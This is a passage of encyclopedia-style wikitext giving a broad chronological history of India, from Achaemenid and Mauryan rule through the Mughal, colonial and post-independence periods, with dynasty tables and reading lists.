Much of the northwestern [[Indian Subcontinent]] (present day Eastern [[Afghanistan]] and most of [[Pakistan]]) was ruled by the Persian [[Achaemenid Empire]] from c. [[520 BC]] during the reign of [[Darius I|Darius the Great]], up intil its conquest by [[Alexander the Great]]. Lands in present-day Punjab, the Indus river from the borders of Gandhara down to the Arabian Sea, and some other parts of the Indus plain, became a satrapy of Alexander's empire. According to [[Herodotus]] of [[Halicarnassus]], it was the most populous and richest of all the twenty satrapies of the empire. Achaemenid rule lasted about 186 years. The Achaemenids used the [[Aramaic]] script for the Persian language. After the end of Achaemenid rule, the use of Aramaic in the Indus plain diminished, although we know from inscriptions from the time of [[Asoka|Emperor Asoka]] that it was still in use two centuries later. Other scripts, such as [[Kharosthi]] (a script derived from Aramaic) and [[Greek language|Greek]] became more common after the arrival of [[Alexander the Great]].

===Alexander the Great===
{{main|Alexander the Great}} 
The interaction between Hellenistic Greece and Buddhism began when Alexander the Great conquered Asia Minor and the [[Achaemenid Empire]], reaching the north west frontiers of the Indian subcontinent in 334 BC. There, he defeated King [[Porus|Puru]] in the [[Battle of the Hydaspes]] (near modern-day Jhelum, Pakistan) and conquered much of the Punjab. However, Alexander's troops refused to go beyond the Beas river, and he was forced to march his army southwest. 

Alexander created garrisons for his troops in his new territories, and founded several cities in the areas of the [[Oxus]], [[Arachosia]], and [[Bactria]], and Macedonian/Greek settlements in Gandhara (see [[Taxila]]) and the Punjab. The regions included the [[Khyber Pass]] — a geographical passageway south of the Himalayas and the [[Hindu Kush]] mountains — and the Bolan Pass, on a trade route connecting [[Drangiana]], Arachosia and other Persian and Central Asian kingdoms to the lower Indus plain. It is through these regions that most of the interaction between South Asia and Central Asia took place, generating intense cultural exchange and trade.

===Greco-Buddhist period===
{{main|Gandhara}}
Greco-Buddhism, sometimes spelled Græco-Buddhism, is the cultural syncretism between the culture of Classical Greece and Buddhism, which developed over a period of close to 800 years in the area corresponding to modern-day Afghanistan and Pakistan, between the 4th century BC and the 5th century AD. Greco-Buddhism especially influenced the artistic development of [[Mahayana Buddhism]], before it was adopted by Central and Northeastern Asia from the 1st century AD, ultimately spreading to China, Korea and Japan. It was mainly centered around the area of [[Gandhara]], or modern Afghanistan, the area of the subcontinent that had most been influenced by Persian and Greek contact.  Gandhara was roughly contemporary to the other Mahajanapada kingdoms elsewhere in India.

[[Image: MauryanMap.jpg|thumb|280px|The Mauryan empire ([[321 BC|321]] to [[185 BC]]), at its largest extent around [[230 BC]].]]

==The Magadha Empire==
{{main|Magadha Empire}}
Amongst the 16 Mahajanapadas, the kingdom of [[Magadha]] rose to prominence under a number of dynasties that peaked in power under the reign of [[Asoka|Asoka Maurya]], one of India's most legendary and famous emperors. The kingdom of Magadha had emerged as a major power following the subjugation of two neighbouring kingdoms, and possessed an unparalleled military. 

===Shishunaga dynasty===
According to tradition, the [[Shishunaga dynasty]] founded the [[Magadha]] Empire in [[684 BC]], whose capital was Rajagriha, later [[Pataliputra]], near the present day [[Patna]]. This dynasty lasted till [[424 BC]], when it was overthrown by the [[Nanda dynasty]]. This period saw the development of two of India's major religions. [[Gautama Buddha]] in the [[6th century BC|6th]] or [[5th century BC]] was the founder of [[Buddhism]], which later spread to [[East Asia]] and [[South-East Asia]], while [[Mahavira]] founded [[Jainism]].

===Nanda Dynasty===
{{main|Nanda Dynasty}}
The [[Nanda dynasty]] was established by an illegitimate son of the king [[Mahanandin]] of the previous [[Shishunaga dynasty]]. [[Mahapadma Nanda]] died at the age of 88, ruling the bulk of this 100-year dynasty. The Nandas were followed by the [[Maurya]] dynasty.

===Maurya dynasty===
{{main|Maurya Dynasty}}
In [[321 BC]], exiled general [[Chandragupta Maurya]] founded the [[Maurya dynasty]] after overthrowing the reigning king [[Dhana Nanda]] to establish the [[Mauryan Empire]]. During this time, most of the subcontinent was united under a single government for the first time. Capitalising on the destabilization of northern India by the Persian and Greek incursions, the Mauryan empire under Chandragupta would not only conquer most of the Indian subcontinent, but also push its boundaries into [[Persia]] and [[Central Asia]], conquering the [[Gandhara]] region.  Chandragupta was succeeded by his son [[Bindusara]], who expanded the kingdom over most of present day India, barring the extreme south and east, which may have held tributary status.
[[Image:Sanchi2.jpg|thumb|280px|The Buddhist stupa at [[Sanchi]], built during the Mauyran period]]
The kingdom was inherited by his son [[Ashoka The Great]] who initially sought to expand his kingdom. In the aftermath of the carnage caused in the invasion of [[Kalinga (India)|Kalinga]], he renounced bloodshed and pursued a policy of [[non-violence]] or ahimsa after converting to Buddhism. The [[Edicts of Ashoka]] are the oldest preserved historical documents of India, and from Ashoka's time, approximate dating of dynasties becomes possible. The Mauryan dynasty under [[Ashoka]] was responsible for the proliferation of [[Buddhism|Buddhist ideals]] across the whole of [[East Asia]] and [[South-East Asia]], fundamentally altering the history and development of Asia as a whole. [[Ashoka the Great]] has been described as one of the greatest rulers the world has seen.

{| class=&quot;wikitable&quot;
|-
|align=center colspan=13 style=&quot;background:#ccf&quot;| '''[[Mauryan Empire|Approximate Dates of Mauryan Dynasty]]'''
|-
! style=&quot;background-color:#FFD700&quot; | Emperor
!! style=&quot;background-color:#FFD700&quot; | Reign start 
!! style=&quot;background-color:#FFD700&quot; | Reign end 
|-
| valign=&quot;top&quot; | '''[[Chandragupta Maurya]]'''
| valign=&quot;top&quot; | [[322 BC]]
| valign=&quot;top&quot; | [[298 BC]]
|-
| valign=&quot;top&quot; | '''[[Bindusara]]'''
| valign=&quot;top&quot; | [[297 BC]]
| valign=&quot;top&quot; | [[272 BC]]
|-
| valign=&quot;top&quot; | '''[[Asoka|Asoka The Great]]'''
| valign=&quot;top&quot; | [[273 BC]]
| valign=&quot;top&quot; | [[232 BC]]
|-
| valign=&quot;top&quot; | '''[[Dasaratha Maurya|Dasaratha]]'''
| valign=&quot;top&quot; | [[232 BC]]
| valign=&quot;top&quot; | [[224 BC]]
|-
| valign=&quot;top&quot; | '''[[Samprati]]'''
| valign=&quot;top&quot; | [[224 BC]]
| valign=&quot;top&quot; | [[215 BC]]
|-
| valign=&quot;top&quot; | '''[[Salisuka]]'''
| valign=&quot;top&quot; | [[215 BC]]
| valign=&quot;top&quot; | [[202 BC]]
|-
| valign=&quot;top&quot; | '''[[Devavarman]]'''
| valign=&quot;top&quot; | [[202 BC]]
| valign=&quot;top&quot; | [[195 BC]]
|-
| valign=&quot;top&quot; | '''[[Satadhanvan]]'''
| valign=&quot;top&quot; | [[195 BC]]
| valign=&quot;top&quot; | [[187 BC]]
|-
| valign=&quot;top&quot; | '''[[Brihadratha]]'''
| valign=&quot;top&quot; | [[187 BC]]
| valign=&quot;top&quot; | [[185 BC]]
|-
|}

===Shunga dynasty===
{{main|Sunga Dynasty}}
The Sunga dynasty was established in 185 BC, about 50 years after Ashoka's death, when the king [[Brihadratha]], the last of the Mauryan rulers, was brutally murdered by the then commander-in-chief of the Mauryan armed forces, Pusyamitra Sunga, while he was taking the Guard of Honour of his forces. [[Pusyamitra Sunga]] then ascended the throne.

==Early Middle Kingdoms - the golden age==
{{main|Middle kingdoms of India}}
[[Image:Ellora cave16 003.jpg|thumb|280px|The rock cut [[Ellora]] caves]]
The middle period, especially that associated with the Gupta dynasty, is known as India's Golden Age, a time of unparalleled cultural development. The [[Kushan Empire|Kushanas]] invaded northwestern India about the middle of the 1st century CE, from [[Central Asia]], and founded an empire that eventually stretched from [[Peshawar]] to the middle [[Ganges]] and, perhaps, as far as the [[Bay of Bengal]]. It also included ancient Bactria (in the north of modern Afghanistan) and southern [[Tajikistan]]. Their power also extended into [[Turkestan]] and helped spread Buddhism to [[China]].  In [[South India]], several kingdoms emerged. The earliest of these is the [[Pandya]] kingdom in southern Tamil Nadu, with its capital at [[Madurai]].  The [[Indo-Greek Kingdom]]s following the conquests of [[Alexander the Great]] ruled much of Gandhara from [[180 BC]] to [[10 CE]]. Around the same time in southern India, the [[Dravidian race|Dravidian]] [[Pandyan kingdom]] began to take shape. An important source for the geography and history of that period is the Greek historian [[Arrian]].

===Satavahana Empire===
{{main|Satavahanas}}
[[Image:Indischer Maler des 6. Jahrhunderts 001.jpg|thumb|280px|An ancient fresco from the [[Ajanta]] caves]]
[[Image:Kumaragupta coins.JPG|thumb|280px|Coins of the [[Gupta]] period]]
The [[Satavahanas]], also known as the Andhras, were a dynasty which ruled in Southern and Central India starting from around 230 BC. Although there is some controversy about when the dynasty came to an end, the most liberal estimates are of about 450 years. Long before that their kingdom had disintegrated into [[successor state]]s. Conflict with the [[Sakas]] and the rising ambitions of their feudatories, led to their decline. Several dynasties divided the lands of the kingdom among themselves.

===Kushan Empire===
{{main|Kushan Empire}}
The Kushan Empire (c. [[1st century|1st]]&amp;ndash;[[3rd century|3rd centuries]]) was a state that at its height, about [[105]]&amp;ndash;[[250s|250]], stretched from [[Tajikistan]] to the [[Caspian Sea]] to [[Afghanistan]] and down into the [[Ganges river]] valley.  The empire was created by [[Tocharians]] from modern [[Xinjiang|East Turkestan]], [[China]], but was culturally dominated by north India.  They had diplomatic contacts with [[Rome]], [[Sassanian]] [[Persian Empire|Persia]] and China, and for several centuries were at the centre of exchange between the East and the West, spreading Buddhism through trade with China.

===Gupta Dynasty===
{{main|Gupta Empire}}
In the [[4th century|4th]] and [[5th century|5th centuries]], the [[Gupta Dynasty]] unified northern India. During this period, known as India's [[Golden Age]], [[Hindu]] culture, science and political administration reached new heights. After the collapse of the Gupta empire in the [[6th century]], India was again ruled by numerous regional kingdoms.  The Gupta 'golden age' marked a period of significant cultural development.

Their origins are largly unknown, however the Chinese traveller [[I-tsing]] provides the first evidence of the Gupta kingdom in [[Magadha]].  The Vedic [[Puranas]] are also thought to have been written around this period.  The empire came to an end with the attack of the [[Huns]] from central Asia.  A minor line of the Gupta clan continued to rule [[Magadha]] after the disintegration of the empire. These Guptas were ultimately ousted by the Vardhana king [[Harsha]], who established an empire in the first half of the seventh century that, for a brief time, rivalled that of the Guptas in extent.

===Hun Invasion===
{{main|Hunas}}
The Huns, (sometimes known as Alchon, and inaccurately potrayed as the ''Indo-Hephthalites''), seem to have been part of the [[Hephthalites|Hephthalite]] group, who established themselves in Afghanistan by the first half of the fifth century, with their capital at [[Bamiyan]]. They were responsible for the downfall of the Gupta dynasty, and thus brought an end to what historians consider a golden age in northern India. However, much of the [[Deccan]] and southern India were largely unaffected by this state of flux in the north. 

The [[Gupta]] Emperor [[Skandagupta]] repelled a Hun invasion in 455 AD, but they continued to pressure India's northwest frontier (present day Pakistan), and broke through into northern India by the end of the fifth century, thereby hastening the disintegration of the Gupta Empire. After the end of the sixth century, little is recorded in India about the Huns, and their ultimate fate is unclear; some historians surmise that the remaining Huns were assimilated into northern India's population. Certain historians, such as [[Romila Thapar]], have suggested that the Huns are the ancestors of the Rajputs. Many Rajputs themselves however have hotly rejected this suggestion.

===Indo-Sassanians===
{{main|Indo-Sassanians}}
The [[Sassanian]] empire of [[Persia]], who were close contemporaries of the [[Guptas]], began to expand into the northwestern part of ancient [[India]] (now [[Pakistan]]), where they established their rule. The mingling of [[Indian culture|Indian]] and [[Persian culture]]s in this region gave birth to the [[Indo-Sassanian]] culture, which fluorished in the western part of the [[Punjab region|Punjab]] and the areas now known in [[Pakistan]] as the [[North West Frontier Province]] and [[Baluchistan]]. &lt;!--The prophet [[Manes]] seems to have visited this region around this time, apparently winning over a local Buddhist ruler. It's possible that this visit accounts for much of the Buddhist influence on the [[Manichean]] religion.--&gt;The last Hindu kingdom in this region, the [[Shahis]], also may have arisen from this culture.

==Late Middle Kingdoms - the classical age==
{{main|Middle kingdoms of India}}
Later, the [[Chola]] kingdom emerged in northern [[Tamil Nadu]], and the [[Chera]] kingdom in [[Kerala]]. The ports of southern India were involved in the [[Indian Ocean]] trade, chiefly involving [[spice]]s, with the [[Roman Empire]] to the west and [[Southeast Asia]] to the east.  In the north, the first of the [[Rajputs]], a series of kingdoms which managed to survive in some form for almost a millennium until Indian independence from the British. 
[[Image:Bronzes-Chola-1.jpg|thumb|280px|Bronzes of the [[Chola]] period]]
===Harsha's empire===
King [[Harsha]] of [[Kannauj]] succeeded in reuniting northern India during his reign in the [[7th century]], after the collapse of the [[Gupta]] dynasty. His kingdom collapsed after his death. From the [[7th century|7th]] to the [[9th century]], three dynasties contested for control of northern India: the [[Pratihara]]s of [[Malwa]] and later Kannauj; the [[Pala dynasty|Palas]] of [[Bengal]], and the [[Rashtrakuta]]s of the Deccan.

===The Chalukyas  and Pallavas===
{{main articles|[[Chalukyas]] and [[Pallavas]]}}
The [[Chalukya]] Empire ruled parts of southern and central India from 550 to 750 (from Badami, Karnataka) and again from 970 to 1190 (from Kalyana, Karnataka).  The [[Pallavas]] of Kanchi were their contemporaries to the south.  Over a period of roughly a century, the two kingdoms fought a series of low-intensity wars, each conquering the other's capitals at various points.  The kings of [[Sri Lanka]] and the Keralan [[Cheras]] rendered support to the [[Pallavas]], while the [[Pandyas]] rendered support to the [[Chalukyas]].  Whilst the northern concept of a pan-Indian empire had collapsed at the end of Harsha's empire, the ideal instead shifted to the south.  The two dynasties were responsible for some of the greatest examples of both rock-cut and free-standing temples.

===Chola empire===
{{main|Cholas}}
[[Image:Rameswaram temple gopuram.jpg|280px|thumb|Rameswaram Temple, [[Tamil Nadu]]]]
The [[Cholas]] emerged as the most powerful empire in the south in the 9th century and retained their pre-eminent position until the 13th century when the [[Vijayanagar]] empire was founded. The Cholas, like the [[Chalukyas]] and [[Pallavas]] before them, and the [[Vijaynagar]] after them, were responsible for some of India's finest monuments, and being located on the south tip of the peninsula, ruled [[Sri Lanka]], and culturally dominated most of [[South East Asia]], where the Hindu [[Srivijaya]] and [[Khmer Empire|Khmer]] empires of [[Indonesia]] and [[Cambodia]] used south Indian temple design. The Chola Navy was the most powerful for its time having conquered the neighbouring island of Lanka and other areas across the [[Bay of Bengal]].
{{see also|History of South India}}

===The Pratiharas, Palas and Rashtrakutas===
{{main articles|[[Pratihara]], [[Pala Empire]], and [[Rashtrakuta]]}}
The [[Pratihara]]s, also called the Gurjara-Pratiharas were an Indian dynasty who ruled kingdoms in [[Rajasthan]] and northern India from the sixth to the eleventh centuries.  The [[Pala Empire]] controlled [[Bihar]] and [[Bengal]], from the 8th to the 12th century.  The [[Rashtrakuta]]s of Malkhed (Karnataka) were a dynasty which ruled the [[Deccan]] during the 8th-10th centuries after the end of [[Chalukya]] rule.  Each three kingdoms vied for north Indian domination around the same time that the [[Cholas]] were flourishing in the south.

===The Rajputs===
{{main|Rajputs}}
[[Image:Shiva and Uma 14th century.jpg|thumb|280px|right|This [[14th century]] statue depicts Shiva (on the left) and his wife Uma (on the right}. It is housed in the [[Smithsonian Institution]] in [[Washington, D.C.]]]]
The first recorded [[Rajput]] kingdoms emerged in [[Rajasthan]] in the [[6th century]], and Rajput dynasties later ruled much of northern India, including [[Mewar]] ([[Sisodia]]s), [[Gujarat]] ([[Solanki]]s), [[Malwa]] ([[Paramara]]s), [[Bundelkhand]] ([[Chandela]]s), and [[Haryana]] ([[Tomara]]s). The [[Pallava]] dynasty of [[Kanchipuram]] ruled southeastern India from the [[4th century]] to the [[9th century]]. The [[Pratihara]] ruled northern India before the Rajputs.  Various other dynasties such as the [[Yadav]], [[Chera]], [[Hoysala]] of Halebidu, [[Sena dynasty|Sena]] and [[Pala dynasty|Pala]] controlled various empires of their own.

===Vijayanagar Empire===
{{main|Vijayanagara Empire}}
The brothers [[Harihara]] and [[Bukka]] founded the [[Karnataka]] Empire, also known as the [[Vijayanagara Empire]], in 1336. The [[Vijayanagara]] empire prospered during the reign of [[Krishnadevaraya]]. It suffered a major defeat in 1565 but continued for another century or so in an attenuated form.  Southern Indian kingdoms of the time expanded their influence as far as [[Indonesia]], controlling vast overseas empires in south east Asia.  The Hindu dynasty came into conflict with Islamic rule (the [[Bahmani]] Kingdom) and the clashing of the two systems, the prevailing indigenous Hindu/Muslim religion, which caused a mingling of the indigenous and foreign culture that left lasting cultural influences on each other. The later Mughal rule also saw such influences of Gujarati and Rajasthani culture contributing towards this.

==The Islamic Sultanates==
{{main|Islamic empires in India}}
After the Arab-Turkic invasion of India's ancient northern neighbour Persia, various short lived [[Islam|Islamic]] empires invaded and spread across the subcontinent over a period of 1000 years. Prior to Turkic invasions, Muslim trading communities flourished throughout coastal [[South India]], particularly in [[Kerala]], where they arrived in small numbers through trade links via the [[Indian Ocean]] with the Arabian peninsula.

===Delhi Sultanate===
In the 10th and 11th centuries, [[Turkic people|Turks]] and [[Afghan people|Afghans]] invaded parts of northern India and established the [[Delhi Sultanate]] at the beginning of the 13th century. The [[Slave dynasty]] managed to conquer large areas of [[northern India]], approximate to the ancient extent of the [[Gupta]]s, while the [[Khilji dynasty|Khilji Empire]] was also able to conquer most of [[central India]], but were ultimately unsuccessful in conquering most of the subcontinent, until the onset of the [[Mughals]].
{{see also|Islamic invasion of India|Decline of Buddhism in India}}

==The Mughal era== 
{{main|Mughal Era}}

===Mughal Empire===
[[Image:Monument of love and symmetry.jpg|thumb|280px|The [[Taj Mahal]], built by [[Mughal]] Emperor [[Shah Jahan]]]]
[[Image:BahadurShah Zafar.jpg|thumb|150px|left|Bahadur Shah Zafar exiled in Rangoon, 1858. This is perhaps the only photograph of a Mughal emperor ever taken.]]
In 1526, [[Babur]], a [[Timurids|Timurid]] descendant of [[Timur]], swept across the [[Khyber Pass]] and established the [[Mughal Empire]], which lasted for over 200 years.
The [[Mughal Dynasty]] ruled most of the Indian subcontinent by 1600; it went into a slow decline after [[1707]] and was finally defeated during the [[Indian rebellion of 1857]]. This period marked vast social change in the subcontinent as the Hindu majority were ruled over by the [[Mughal]] emperors, some of whom showed religious tolerance, while others liberally patronized Hindu culture, and some of whom destroyed historical temples and imposed taxes on non-Muslims. During the decline of the [[Mughal Empire]], which at its peak occupied an area slightly larger than the ancient [[Mauryan Empire]], several smaller empires rose to fill the power vacuum or themselves were contributing factors to the decline.


{| class=&quot;wikitable&quot;
|-
|align=center colspan=13 style=&quot;background:#ccf&quot;| '''[[Mughal Empire|The Greater Mughal Emperors]]'''
|-
! style=&quot;background-color:#FFD700&quot; | Emperor
!! style=&quot;background-color:#FFD700&quot; | Reign start
!! style=&quot;background-color:#FFD700&quot; | Reign end
|-
| valign=&quot;top&quot; | '''[[Babur]]'''
| valign=&quot;top&quot; | [[1526]]
| valign=&quot;top&quot; | [[1530]]
|-
| valign=&quot;top&quot; | '''[[Humayun]]'''
| valign=&quot;top&quot; | [[1530]]
| valign=&quot;top&quot; | [[1556]]
|-
| valign=&quot;top&quot; | '''[[Akbar]]'''
| valign=&quot;top&quot; | [[1556]]
| valign=&quot;top&quot; | [[1605]]
|-
| valign=&quot;top&quot; | '''[[Jahangir]]'''
| valign=&quot;top&quot; | [[1605]]
| valign=&quot;top&quot; | [[1627]]
|-
| valign=&quot;top&quot; | '''[[Shah Jahan]]'''
| valign=&quot;top&quot; | [[1627]]
| valign=&quot;top&quot; | [[1658]]
|-
| valign=&quot;top&quot; | '''[[Aurangzeb]]'''
| valign=&quot;top&quot; | [[1658]]
| valign=&quot;top&quot; | [[1707]]
|-
|}

===The Maratha confederacy===
[[Image:India1760 1905.jpg|thumb|280px|right|Extent of the Maratha Confederacy ca. 1760&lt;br&gt;(shown here in yellow)]]
[[Image:Jantar mantar.JPG|thumb|280px|The [[observatory]], [[Jantar Mantar]]), built in the [[18th Century]].]]
[[Image:Clive.jpg|280px|right|thumb|[[Robert Clive]], 1st Baron Clive, became the first British [[Governor]] of [[Bengal]].]]
{{main|Maratha Empire}} 
The Maratha Kingdom was founded by [[Shivaji]] in [[1674]], when he annexed a portion of the [[Bijapur Sultanate]]. After consolidating his hold over his territories in the Deccan, Shivaji declared war on the Mughal Emperor, [[Aurangzeb]]. By the 18th century, it had transformed itself into the Maratha Confederacy under the rule of the [[Peshwa]]s. By 1760, the Empire had stretched across practically the entire subcontinent. This expansion was brought to an end by the defeat of the Marathas by an [[Afghanistan|Afghan]] army led by [[Ahmad Shah Abdali]] at the [[Third Battle of Panipat]] ([[1761]]). The last Peshwa, Baji Rao II, was defeated by the [[United Kingdom|British]] in the [[Third Anglo-Maratha War]].

===The Kingdom of Mysore===
{{main|Kingdom of Mysore}}
The Kingdom of Mysore was a kingdom of southern India, which was founded around 1400 CE by the [[Wodeyar]] dynasty. The rule of the Wodeyars was interrupted by [[Hyder Ali]] and his son [[Tippu Sultan]]. Under their rule Mysore fought a series of wars sometimes against the combined forces of the [[British Raj|British]] and [[Marathas]], but mostly against the British with some aid or promise of aid from the [[France|French]]. After the death of Tippu Sultan in the Fourth War of Mysore in 1799, the Wodeyar dynasty regained limited power as a [[Princely State]] under the British. The Kingdom of Mysore became part of the modern day, Indian state of [[Karnataka]].

===The Punjab===
{{main|Sikh Empire}}
The Punjabi kingdom, ruled by members of the [[Sikh]] religious movement was a political entity that ruled the region of modern day [[Punjab region|Punjab]].  Founded by the ten Gurus of the Sikh faith, it expanded its borders during the reign of Maharaja [[Ranjit Singh]] at the height of the [[Sikh Empire]] to include surrounding areas like [[Kashmir]] and [[Peshawar]], and was among the last areas of the subcontinent that was conquered by the British. The [[Anglo-Sikh wars]] marked the downfall of the Sikh Empire.

===Durrani Empire===
{{main|Durrani Empire}}
In 1748, the [[Afghan]] leader [[Ahmad Shah|Ahmed Shah Durrani]] crossed the [[Indus River]] on the pretext of waging a ''jihad'' against the &quot;[[Hindus]]&quot;. He attacked [[Lahore]] (in present day Pakistan) in 1750, his first Indian target. Subsequentley, he raided the rest of the [[Punjab region|Punjab]] (including [[Amritsar]]), [[Kashmir]] and finally [[Delhi]]. He also fought against the [[Marathas]] frequently. He left [[India]] with numerous treasures, including the [[Kohinoor]] diamond.

==Colonial era==
During the colonial era, India, along with several ancient nations in Asia, Africa and South America, was targeted by expansionist European powers, and was eventually incorporated into the [[British Empire]]. The subsequent freedom struggle, beginning with the First War of Independence, and later led by figures such as [[Mohandas Gandhi]], would prove to be one of the biggest turning points in the development of modern world history.

===Company rule===
{{main articles|[[Colonial India]] and [[European colonies in India]]}}
[[Vasco da Gama]]'s discovery of a new sea route to India in [[1498]] paved the way for European colonization of India. The Portuguese set up bases in [[Goa]], [[Daman]], [[Diu]] and [[Bombay]]. They remained the longest colonial rulers for 500 years till 1962. The [[British Empire|British]] established their first outpost in South Asia in [[1619]] at [[Surat]] on the northwestern coast of India, arriving in the wake of [[Portugal|Portuguese]] and [[Netherland|Dutch]] visitors. Later in the century, the [[British East India Company]] opened permanent trading stations at [[Madras]], [[Bombay]], and [[Calcutta]], each under the protection of native rulers.
{{main|French India}}

The French set up base along with the British in the 17&lt;sup&gt;th&lt;/sup&gt; century. They occupied large parts of southern India. However subsequent wars with the British, led to the loss of almost all their territory. They however retained the colonies of [[Pondicherry]] - (Pondicherry, Karaikal, Yanam, and Mahé.) and Chandernagore. Pondicherry was ceded to India in 1950.

The Dutch did not have a major presence in India. The towns of [[Travancore]] were ruled by the Dutch. However they were more interested in [[Ceylon]] (now [[Sri Lanka]]) and their prize of the Dutch East Indies (now [[Indonesia]]). They were responsible for training the military of the princely state of Kerala.  In 1845, the Danish colony of [[Tranquebar]] was sold to the [[United Kingdom]].

===The British Raj===  
{{main|British Raj}}
[[Image:British Empire 1921 IndianSubcontinent.png|thumb|280px|The extent of the [[British Raj]], with India and Burma shown in purple]]
The British established a foothold in [[Bengal]] when the British soldiers, funded by the [[British East India Company|East India Company]], and led by [[Robert Clive]], defeated [[Nawab]] [[Siraj Ud Daulah]] in the [[Battle of Plassey]] in [[1757]] and plundered the Bengali treasure. [[Bengal]] became a protectorate, and then directly went under the rule of [[British East India Company|East India Company]]. 
The British East India Company monopolized the trade of Bengal. The Bengali craftsmen were inevitably fixed at foreign posts of the Company, where they were obliged to render their labour at minimal compensation while their collective tax burden increased harshly. The result was the [[Bengal famine of 1770|famine of 1769 to 1773]] in which 10 million Bengalis died, followed almost a century later by the catastrophic Great Calamity period, resulting in part from an extension of similar policies, in which up to 40 million Indians perished from [[famine in India|famine]] amidst the collapse of India's native industries and skilled workforce.

By the [[1850s]] Britain controlled most of the Indian sub-continent, which included present-day [[Pakistan]] and [[Bangladesh]]. From 1830, the defeat of the [[Thugs]] played a part in securing establishing greater control of diverse Indian provinces for the British.

The [[First War of Indian Independence 1857]] in the north, led by mutinous Indian soldiers, was crushed by the British.  It is also called the first war of Indian independence.  In the aftermath all political power was transferred from the East India Company to the [[British Crown|Crown]], which began administering most of India directly. It controlled the rest through [[Princely states|local rulers]].

===The independence movement===
{{main|Indian independence movement}}
[[Image:Nehru Gandhi 1937.jpg|thumb|280px|[[Gandhi]] and [[Nehru]] in 1937]]
In the late [[19th century]] &quot;British India&quot; took its first steps toward self-government with the appointment of Indian councillors to advise the British [[viceroy]], and the establishment of provincial Councils with Indian members; the British subsequently widened participation in legislative councils. Beginning in [[1920]], Indian leaders such as [[Mohandas Gandhi|Mohandas K. Gandhi]] (also known as ''[[Mahatma]]'' (Great Soul) Gandhi) and [[Subhas Bose|Subhas Chandra Bose]] transformed the [[Indian National Congress]] into a mass movement to campaign against British colonial rule. The movement eventually succeeded in bringing independence to the people of the Indian subcontinent, by means of parliamentary action and [[civil disobedience|non-violent resistance and non-cooperation]]. Following the division of India into the secular [[Republic of India]] and the [[Islamic Republic of Pakistan]] in August [[1947]], rioting broke out between Sikhs, Hindus and Muslims in several parts of India, including Punjab, Bengal and Delhi, leaving some 200,000 dead.  Also, this period saw the largest mass migration ever recorded in modern history, with a total of 12 million Hindus and Muslims moved between the newly created dominions of India and Pakistan.

== Republic of India ==
''Main Articles'': [[Political Integration of India]], [[History of the Republic of India]]

[[Image:IndiaLocation.png|thumb|280px|The republic of India]]
Since independence, India has fought a number of wars against its neighbours, most notably [[Indo-Pakistani War|four wars]] against Pakistan, and one [[Sino-Indian War|against China]]. It also detonated a nuclear device in [[1974]] and became a [[List of countries with nuclear weapons|Declared nuclear state]] in [[1998]] following a series of tests. From a socialist-inspired economy to the early [[1990]]s , India continued to make slow progress away from the state the British had left the country in, however, it was only after extensive economic reforms in the early 90s (initiated by Present Prime minister of India [[Manmohan Singh]]) that India's economy began to grow at a high rate. Today, in the [[21st century]], India is considered an emerging economic [[superpower]], and is currently the tenth largest economy in terms of gross [[Gross Domestic Product|GDP]], and 4th largest when accounting for [[Purchasing Power Parity|purchasing power parity]].
[[Image:Mumbai Skyline.jpg|thumb|280px|Skyline of modern [[Mumbai]]]]
Since independence, India has fought three major wars and one minor war with [[Pakistan]] (see [[Indo-Pakistani Wars]]). The [[Indo-Pakistani War of 1947]] started over the control of [[Kashmir]]. The [[Indo-Pakistani War of 1965]] was also fought over [[Kashmir]]. In [[1971]], India hosted refugees from erstwhile [[East Pakistan]] and helped the Bangladeshi freedom fighters ([[Mukti Bahini]]) with resources and training during the [[Bangladesh Liberation War]]. During the final stages of that war, India became directly involved in the [[Indo-Pakistani War of 1971]], which ultimately resulted in Pakistan's defeat and the independence of [[Bangladesh]]. India also fought a border war with [[China]] in [[1962]] (see [[Sino-Indian War]]).

As well as being a declared nuclear state, India has an advanced [[Indian space program|space program]] designed to benefit the country economically, rather than merely create prestige. In the 1990s, following economic reform from the socialist-inspired economy of post-independence India, the country began to experience rapid [[economy of India|economic growth]], as markets opened for international competition and investment.  In the 21st century, India is an emerging economic power with vast human and natural resources, and a huge knowledge base. Economists predict that by 2050, India will be among the top three economies of the world.

==Textbooks and surveys==
* [http://www.questia.com/PM.qst?a=o&amp;d=88816404 Allan, J. T. Wolseley Haig, and H. H. Dodwell, ''The Cambridge Shorter History of India'' (1934)]
* [http://www.amazon.com/gp/product/0815715013 Cohen, Stephen P. ''India: Emerging Power'' (2002)]
* [http://www.amazon.com/gp/product/0892819235 Daniélou, Alain. ''A Brief History of India'' (2003)]
* [http://www.amazon.com/gp/product/0385720742 Das, Gurcharan. ''India Unbound : The Social and Economic Revolution from Independence to the Global Information Age'' (2002)]
* [http://www.amazon.com/gp/product/0802137970 Keay, John. ''India: A History'' (2001)]
* [http://www.amazon.com/gp/product/0781809444 Kishore, Prem and Anuradha Kishore Ganpati. ''India: An Illustrated History'' (2003)]
* [http://www.questia.com/PM.qst?a=o&amp;d=106344121 Kulke, Hermann  and Dietmar Rothermund. ''A History of India.'' 3rd ed. (1998)]
* [http://www.questia.com/PM.qst?a=o&amp;d=101360237 Mcleod, John. ''The History of India'' (2002)]
* [http://www.questia.com/PM.qst?a=o&amp;d=103421308 Rothermund, Dietmar. ''An Economic History of India: From Pre-Colonial Times to 1991'' (1993)]
* [http://www.amazon.com/gp/product/0195612973 Smith, Vincent. ''The Oxford History of India'' (1981)]
* [http://www.amazon.com/gp/product/0140138366 Spear, Percival. ''The History of India'' Vol. 2 (1990)]
* [http://www.amazon.com/gp/product/0520242254 Thapar, Romila. ''Early India: From the Origins to AD 1300'' (2004)]
* [http://www.amazon.com/gp/product/0195166787 Wolpert, Stanley. ''A New History of India'' 6th ed. (1999)]
  	
==See also==
* [[India]]
* [[Economy of India]]
* [[History of South Asia|History of the Indian Subcontinent]]
* [[Timeline of Indian history|Timeline of Indian History]]
* [[Economic history of India|Economic History of India]]
* [[Military history of India|Military History of India]]
* [[History of Hinduism]]
* [[History of Buddhism]]
* [[Indian Maritime History]]
* [[Indian mathematics|History of Indian Mathematics]]
* [[History of sex in India]]
* [[List of Indian Monarchs]]
* [[List of Indians]]

==External links==
* [http://www.i3pep.org/archives/2005/04/27/sources-early-indian-history/ Sources of Early Indian History]
* [http://www.atributetohinduism.com/ A Tribute to Hinduism]
* [http://www.geographia.com/india/india02.htm/ A Concise History of India]
* [http://www.kamat.com/kalranga/timeline/timeline.htm/ A Timeline of Indian History]

{{indian selected article}}

[[Category:History by country]]
[[Category:History of India|*]]

[[ar:تاريخ الهند]]
[[de:Geschichte Indiens]]
[[es:Historia de la India]]
